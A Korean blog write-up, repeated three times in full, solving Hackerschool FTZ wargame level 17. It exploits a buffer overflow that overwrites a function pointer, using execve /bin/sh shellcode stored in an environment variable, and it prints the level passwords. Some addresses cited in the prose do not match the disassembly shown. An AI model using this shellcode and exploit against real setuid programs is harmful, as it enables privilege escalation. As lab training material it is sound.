[FTZ] level 17 → level 18 문제풀이 본문

Pwnable/해커스쿨 FTZ write-up

[FTZ] level 17 → level 18 문제풀이

disso1p1 2020. 3. 6. 23:25

 

 

 

level17 - id : level17 , pw : king poetic

 

 

[level17@ftz level17]$ ls
attackme  hint	public_html  tmp
[level17@ftz level17]$ cat hint

#include <stdio.h>
 
void printit() {
  printf("Hello there!\n");
}
 
main()
{ int crap;
  void (*call)()=printit;
  char buf[20];
  fgets(buf,48,stdin);
  setreuid(3098,3098);
  call();
}

[level17@ftz level17]$      

 

printit 함수의 메모리 주소를 call 함수포인터에 저장한다.

그리고 변수 buf 에 표준입력으로 입력받고, printit 함수(call)를 호출한다.

 

여기서 buf 는 20byte 이지만 fgets 함수로 최대 48byte 만큼 입력 받기 때문에

BOF 취약점이 발생한다.

 

 

level16 문제에서 shell 함수만 없어졌다.

 

그러면 쉘을 실행시키는 환경변수를 만들어서 함수포인터 *call 에 넣어주면 된다.

 

 

attackme 파일을 gdb 로 분석해보자.

 

[level17@ftz level17]$ cp attackme tmp
[level17@ftz level17]$ cd tmp
[level17@ftz tmp]$ ls
attackme
[level17@ftz tmp]$ gdb -q attackme 
(gdb) set disas intel
(gdb) disas main
Dump of assembler code for function main:
0x080484a8 <main+0>:	push   ebp
0x080484a9 <main+1>:	mov    ebp,esp
0x080484ab <main+3>:	sub    esp,0x38
0x080484ae <main+6>:	mov    DWORD PTR [ebp-16],0x8048490
0x080484b5 <main+13>:	sub    esp,0x4
0x080484b8 <main+16>:	push   ds:0x804967c
0x080484be <main+22>:	push   0x30
0x080484c0 <main+24>:	lea    eax,[ebp-56]
0x080484c3 <main+27>:	push   eax
0x080484c4 <main+28>:	call   0x8048350 <fgets>
0x080484c9 <main+33>:	add    esp,0x10
0x080484cc <main+36>:	sub    esp,0x8
0x080484cf <main+39>:	push   0xc1a
0x080484d4 <main+44>:	push   0xc1a
0x080484d9 <main+49>:	call   0x8048380 <setreuid>
0x080484de <main+54>:	add    esp,0x10
0x080484e1 <main+57>:	mov    eax,DWORD PTR [ebp-16]
0x080484e4 <main+60>:	call   eax
0x080484e6 <main+62>:	leave  
0x080484e7 <main+63>:	ret    
0x080484e8 <main+64>:	nop    
0x080484e9 <main+65>:	nop    
---Type <return> to continue, or q <return> to quit---
0x080484ea <main+66>:	nop    
0x080484eb <main+67>:	nop    
0x080484ec <main+68>:	nop    
0x080484ed <main+69>:	nop    
0x080484ee <main+70>:	nop    
0x080484ef <main+71>:	nop    
End of assembler dump.
(gdb) 

 

0x08048530 <main+24> 부분을 보면 ebp-56 주소를 fgets 함수의 인자값으로 넘겨준다. (  fgets(buf,48,stdin); )

즉, buf 의 위치는 ebp-56 이다.

 

0x0804853c <main+36> 부분을 보면 eax 에 ebp-16 에 있는 값을 넣고, eax 에 있는 주소로 call 을 한다.

즉, eax 에는 printit 함수의 시작 메모리 주소가 들어갔을 것이고, *call 의 위치는 ebp-16 임을 알 수 있다.

 

 

그럼 ebp-16 에서 4byte 를 쉘을 실행시키는 환경변수 주소로 덮으면 되겠다.

 

 

쉘코드를 실행시키는 환경변수를 만들어보자.

 

 

 

쉘코드는

 

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80

 

이것을 사용했다. (24byte)

 

 

[level17@ftz tmp]$ export SHELL=$(python -c 'print "\x90"*100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"')
[level17@ftz tmp]$ env
HOSTNAME=ftz.hackerschool.org
TERM=xterm-256color
SHELL=1�Ph//shh/bin‰�PS‰�™�
                                       �€
JLESSCHARSET=ko
HISTSIZE=1000
SSH_CLIENT=172.16.21.1 52438 22
OLDPWD=/home/level17
SSH_TTY=/dev/pts/1
USER=level17
LS_COLORS=
MAIL=/var/spool/mail/level17
PATH=/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin:/home/level17/bin
INPUTRC=/etc/inputrc
PWD=/home/level17/tmp
LANG=ko_KR.euckr
PS1=[\u@\h \W]$ 
SHLVL=1
HOME=/home/level17
BASH_ENV=/home/level17/.bashrc
LOGNAME=level17
SSH_CONNECTION=172.16.21.1 52438 172.16.21.128 22
LESSOPEN=|/usr/bin/lesspipe.sh %s
G_BROKEN_FILENAMES=1
_=/bin/env
[level17@ftz tmp]$ 

 

SHELL 이라는 이름으로 환경변수를 만들었다.

 

 

C 로 코드를 짜서 이 환경변수의 주소를 알아내보자.

 

[level17@ftz tmp]$ vi sh.c

#include<stdio.h>

int main()
{
        printf("%p\n", getenv("SHELL"));
  
        return 0;
}       
~
~
~
~
~
~
~
~
~
~
~
~
[level17@ftz tmp]$ gcc -o sh sh.c
[level17@ftz tmp]$ ls
attackme  sh  sh.c
[level17@ftz tmp]$ ./sh
0xbffffd95
[level17@ftz tmp]$ 

 

SHELL 환경변수의 주소는 0xbffffd95 이다.

 

 

 

buf(20) + dummy(20) + *call(4)

 

A A ... A \x95 \xfd \xff \xbf

↑                                                                                                                

ebp-56 ( buf 시작주소 )                                                                        ebp-16 ( *call 시작주소 )

 

 

구조는 이렇다.

 

 

buf부터 dummy까지 ( 40byte ) A 로 덮고, 4byte 를 0xbffffd95 로 덮으면 되겠다.

 

 

이제 attackme 파일을 공격해보자.

 

[level17@ftz tmp]$ cd .. 
[level17@ftz level17]$ ls
attackme  hint	public_html  tmp
[level17@ftz level17]$ (python -c 'print "A"*40 + "\x95\xfd\xff\xbf"';cat) | ./attackme
id
uid=3098(level18) gid=3097(level17) groups=3097(level17)
my-pass
TERM environment variable not set.

Level18 Password is "why did you do it".





 

level18 권한으로 쉘이 따졌다.

 

 

 

 

Level18 Password is "why did you do it".

 

 

 

 

감사합니다

 

 

 

level17 - id : level17 , pw : king poetic

 

 

[level17@ftz level17]$ ls
attackme  hint	public_html  tmp
[level17@ftz level17]$ cat hint

#include <stdio.h>
 
void printit() {
  printf("Hello there!\n");
}
 
main()
{ int crap;
  void (*call)()=printit;
  char buf[20];
  fgets(buf,48,stdin);
  setreuid(3098,3098);
  call();
}

[level17@ftz level17]$      

 

printit 함수의 메모리 주소를 call 함수포인터에 저장한다.

그리고 변수 buf 에 표준입력으로 입력받고, printit 함수(call)를 호출한다.

 

여기서 buf 는 20byte 이지만 fgets 함수로 최대 48byte 만큼 입력 받기 때문에

BOF 취약점이 발생한다.

 

 

level16 문제에서 shell 함수만 없어졌다.

 

그러면 쉘을 실행시키는 환경변수를 만들어서 함수포인터 *call 에 넣어주면 된다.

 

 

attackme 파일을 gdb 로 분석해보자.

 

[level17@ftz level17]$ cp attackme tmp
[level17@ftz level17]$ cd tmp
[level17@ftz tmp]$ ls
attackme
[level17@ftz tmp]$ gdb -q attackme 
(gdb) set disas intel
(gdb) disas main
Dump of assembler code for function main:
0x080484a8 <main+0>:	push   ebp
0x080484a9 <main+1>:	mov    ebp,esp
0x080484ab <main+3>:	sub    esp,0x38
0x080484ae <main+6>:	mov    DWORD PTR [ebp-16],0x8048490
0x080484b5 <main+13>:	sub    esp,0x4
0x080484b8 <main+16>:	push   ds:0x804967c
0x080484be <main+22>:	push   0x30
0x080484c0 <main+24>:	lea    eax,[ebp-56]
0x080484c3 <main+27>:	push   eax
0x080484c4 <main+28>:	call   0x8048350 <fgets>
0x080484c9 <main+33>:	add    esp,0x10
0x080484cc <main+36>:	sub    esp,0x8
0x080484cf <main+39>:	push   0xc1a
0x080484d4 <main+44>:	push   0xc1a
0x080484d9 <main+49>:	call   0x8048380 <setreuid>
0x080484de <main+54>:	add    esp,0x10
0x080484e1 <main+57>:	mov    eax,DWORD PTR [ebp-16]
0x080484e4 <main+60>:	call   eax
0x080484e6 <main+62>:	leave  
0x080484e7 <main+63>:	ret    
0x080484e8 <main+64>:	nop    
0x080484e9 <main+65>:	nop    
---Type <return> to continue, or q <return> to quit---
0x080484ea <main+66>:	nop    
0x080484eb <main+67>:	nop    
0x080484ec <main+68>:	nop    
0x080484ed <main+69>:	nop    
0x080484ee <main+70>:	nop    
0x080484ef <main+71>:	nop    
End of assembler dump.
(gdb) 

 

0x08048530 <main+24> 부분을 보면 ebp-56 주소를 fgets 함수의 인자값으로 넘겨준다. (  fgets(buf,48,stdin); )

즉, buf 의 위치는 ebp-56 이다.

 

0x0804853c <main+36> 부분을 보면 eax 에 ebp-16 에 있는 값을 넣고, eax 에 있는 주소로 call 을 한다.

즉, eax 에는 printit 함수의 시작 메모리 주소가 들어갔을 것이고, *call 의 위치는 ebp-16 임을 알 수 있다.

 

 

그럼 ebp-16 에서 4byte 를 쉘을 실행시키는 환경변수 주소로 덮으면 되겠다.

 

 

쉘코드를 실행시키는 환경변수를 만들어보자.

 

 

 

쉘코드는

 

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80

 

이것을 사용했다. (24byte)

 

 

[level17@ftz tmp]$ export SHELL=$(python -c 'print "\x90"*100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"')
[level17@ftz tmp]$ env
HOSTNAME=ftz.hackerschool.org
TERM=xterm-256color
SHELL=1�Ph//shh/bin‰�PS‰�™�
                                       �€
JLESSCHARSET=ko
HISTSIZE=1000
SSH_CLIENT=172.16.21.1 52438 22
OLDPWD=/home/level17
SSH_TTY=/dev/pts/1
USER=level17
LS_COLORS=
MAIL=/var/spool/mail/level17
PATH=/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin:/home/level17/bin
INPUTRC=/etc/inputrc
PWD=/home/level17/tmp
LANG=ko_KR.euckr
PS1=[\u@\h \W]$ 
SHLVL=1
HOME=/home/level17
BASH_ENV=/home/level17/.bashrc
LOGNAME=level17
SSH_CONNECTION=172.16.21.1 52438 172.16.21.128 22
LESSOPEN=|/usr/bin/lesspipe.sh %s
G_BROKEN_FILENAMES=1
_=/bin/env
[level17@ftz tmp]$ 

 

SHELL 이라는 이름으로 환경변수를 만들었다.

 

 

C 로 코드를 짜서 이 환경변수의 주소를 알아내보자.

 

[level17@ftz tmp]$ vi sh.c

#include<stdio.h>

int main()
{
        printf("%p\n", getenv("SHELL"));
  
        return 0;
}       
~
~
~
~
~
~
~
~
~
~
~
~
[level17@ftz tmp]$ gcc -o sh sh.c
[level17@ftz tmp]$ ls
attackme  sh  sh.c
[level17@ftz tmp]$ ./sh
0xbffffd95
[level17@ftz tmp]$ 

 

SHELL 환경변수의 주소는 0xbffffd95 이다.

 

 

 

buf(20) + dummy(20) + *call(4)

 

A A ... A \x95 \xfd \xff \xbf

↑                                                                                                                

ebp-56 ( buf 시작주소 )                                                                        ebp-16 ( *call 시작주소 )

 

 

구조는 이렇다.

 

 

buf부터 dummy까지 ( 40byte ) A 로 덮고, 4byte 를 0xbffffd95 로 덮으면 되겠다.

 

 

이제 attackme 파일을 공격해보자.

 

[level17@ftz tmp]$ cd .. 
[level17@ftz level17]$ ls
attackme  hint	public_html  tmp
[level17@ftz level17]$ (python -c 'print "A"*40 + "\x95\xfd\xff\xbf"';cat) | ./attackme
id
uid=3098(level18) gid=3097(level17) groups=3097(level17)
my-pass
TERM environment variable not set.

Level18 Password is "why did you do it".





 

level18 권한으로 쉘이 따졌다.

 

 

 

 

Level18 Password is "why did you do it".

 

 

 

 

감사합니다

 

 

 

level17 - id : level17 , pw : king poetic

 

 

[level17@ftz level17]$ ls
attackme  hint	public_html  tmp
[level17@ftz level17]$ cat hint

#include <stdio.h>
 
void printit() {
  printf("Hello there!\n");
}
 
main()
{ int crap;
  void (*call)()=printit;
  char buf[20];
  fgets(buf,48,stdin);
  setreuid(3098,3098);
  call();
}

[level17@ftz level17]$      

 

printit 함수의 메모리 주소를 call 함수포인터에 저장한다.

그리고 변수 buf 에 표준입력으로 입력받고, printit 함수(call)를 호출한다.

 

여기서 buf 는 20byte 이지만 fgets 함수로 최대 48byte 만큼 입력 받기 때문에

BOF 취약점이 발생한다.

 

 

level16 문제에서 shell 함수만 없어졌다.

 

그러면 쉘을 실행시키는 환경변수를 만들어서 함수포인터 *call 에 넣어주면 된다.

 

 

attackme 파일을 gdb 로 분석해보자.

 

[level17@ftz level17]$ cp attackme tmp
[level17@ftz level17]$ cd tmp
[level17@ftz tmp]$ ls
attackme
[level17@ftz tmp]$ gdb -q attackme 
(gdb) set disas intel
(gdb) disas main
Dump of assembler code for function main:
0x080484a8 <main+0>:	push   ebp
0x080484a9 <main+1>:	mov    ebp,esp
0x080484ab <main+3>:	sub    esp,0x38
0x080484ae <main+6>:	mov    DWORD PTR [ebp-16],0x8048490
0x080484b5 <main+13>:	sub    esp,0x4
0x080484b8 <main+16>:	push   ds:0x804967c
0x080484be <main+22>:	push   0x30
0x080484c0 <main+24>:	lea    eax,[ebp-56]
0x080484c3 <main+27>:	push   eax
0x080484c4 <main+28>:	call   0x8048350 <fgets>
0x080484c9 <main+33>:	add    esp,0x10
0x080484cc <main+36>:	sub    esp,0x8
0x080484cf <main+39>:	push   0xc1a
0x080484d4 <main+44>:	push   0xc1a
0x080484d9 <main+49>:	call   0x8048380 <setreuid>
0x080484de <main+54>:	add    esp,0x10
0x080484e1 <main+57>:	mov    eax,DWORD PTR [ebp-16]
0x080484e4 <main+60>:	call   eax
0x080484e6 <main+62>:	leave  
0x080484e7 <main+63>:	ret    
0x080484e8 <main+64>:	nop    
0x080484e9 <main+65>:	nop    
---Type <return> to continue, or q <return> to quit---
0x080484ea <main+66>:	nop    
0x080484eb <main+67>:	nop    
0x080484ec <main+68>:	nop    
0x080484ed <main+69>:	nop    
0x080484ee <main+70>:	nop    
0x080484ef <main+71>:	nop    
End of assembler dump.
(gdb) 

 

0x08048530 <main+24> 부분을 보면 ebp-56 주소를 fgets 함수의 인자값으로 넘겨준다. (  fgets(buf,48,stdin); )

즉, buf 의 위치는 ebp-56 이다.

 

0x0804853c <main+36> 부분을 보면 eax 에 ebp-16 에 있는 값을 넣고, eax 에 있는 주소로 call 을 한다.

즉, eax 에는 printit 함수의 시작 메모리 주소가 들어갔을 것이고, *call 의 위치는 ebp-16 임을 알 수 있다.

 

 

그럼 ebp-16 에서 4byte 를 쉘을 실행시키는 환경변수 주소로 덮으면 되겠다.

 

 

쉘코드를 실행시키는 환경변수를 만들어보자.

 

 

 

쉘코드는

 

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80

 

이것을 사용했다. (24byte)

 

 

[level17@ftz tmp]$ export SHELL=$(python -c 'print "\x90"*100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"')
[level17@ftz tmp]$ env
HOSTNAME=ftz.hackerschool.org
TERM=xterm-256color
SHELL=1�Ph//shh/bin‰�PS‰�™�
                                       �€
JLESSCHARSET=ko
HISTSIZE=1000
SSH_CLIENT=172.16.21.1 52438 22
OLDPWD=/home/level17
SSH_TTY=/dev/pts/1
USER=level17
LS_COLORS=
MAIL=/var/spool/mail/level17
PATH=/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin:/home/level17/bin
INPUTRC=/etc/inputrc
PWD=/home/level17/tmp
LANG=ko_KR.euckr
PS1=[\u@\h \W]$ 
SHLVL=1
HOME=/home/level17
BASH_ENV=/home/level17/.bashrc
LOGNAME=level17
SSH_CONNECTION=172.16.21.1 52438 172.16.21.128 22
LESSOPEN=|/usr/bin/lesspipe.sh %s
G_BROKEN_FILENAMES=1
_=/bin/env
[level17@ftz tmp]$ 

 

SHELL 이라는 이름으로 환경변수를 만들었다.

 

 

C 로 코드를 짜서 이 환경변수의 주소를 알아내보자.

 

[level17@ftz tmp]$ vi sh.c

#include<stdio.h>

int main()
{
        printf("%p\n", getenv("SHELL"));
  
        return 0;
}       
~
~
~
~
~
~
~
~
~
~
~
~
[level17@ftz tmp]$ gcc -o sh sh.c
[level17@ftz tmp]$ ls
attackme  sh  sh.c
[level17@ftz tmp]$ ./sh
0xbffffd95
[level17@ftz tmp]$ 

 

SHELL 환경변수의 주소는 0xbffffd95 이다.

 

 

 

buf(20) + dummy(20) + *call(4)

 

A A ... A \x95 \xfd \xff \xbf

↑                                                                                                                

ebp-56 ( buf 시작주소 )                                                                        ebp-16 ( *call 시작주소 )

 

 

구조는 이렇다.

 

 

buf부터 dummy까지 ( 40byte ) A 로 덮고, 4byte 를 0xbffffd95 로 덮으면 되겠다.

 

 

이제 attackme 파일을 공격해보자.

 

[level17@ftz tmp]$ cd .. 
[level17@ftz level17]$ ls
attackme  hint	public_html  tmp
[level17@ftz level17]$ (python -c 'print "A"*40 + "\x95\xfd\xff\xbf"';cat) | ./attackme
id
uid=3098(level18) gid=3097(level17) groups=3097(level17)
my-pass
TERM environment variable not set.

Level18 Password is "why did you do it".





 

level18 권한으로 쉘이 따졌다.

 

 

 

 

Level18 Password is "why did you do it".

 

 

 

 

감사합니다

Comments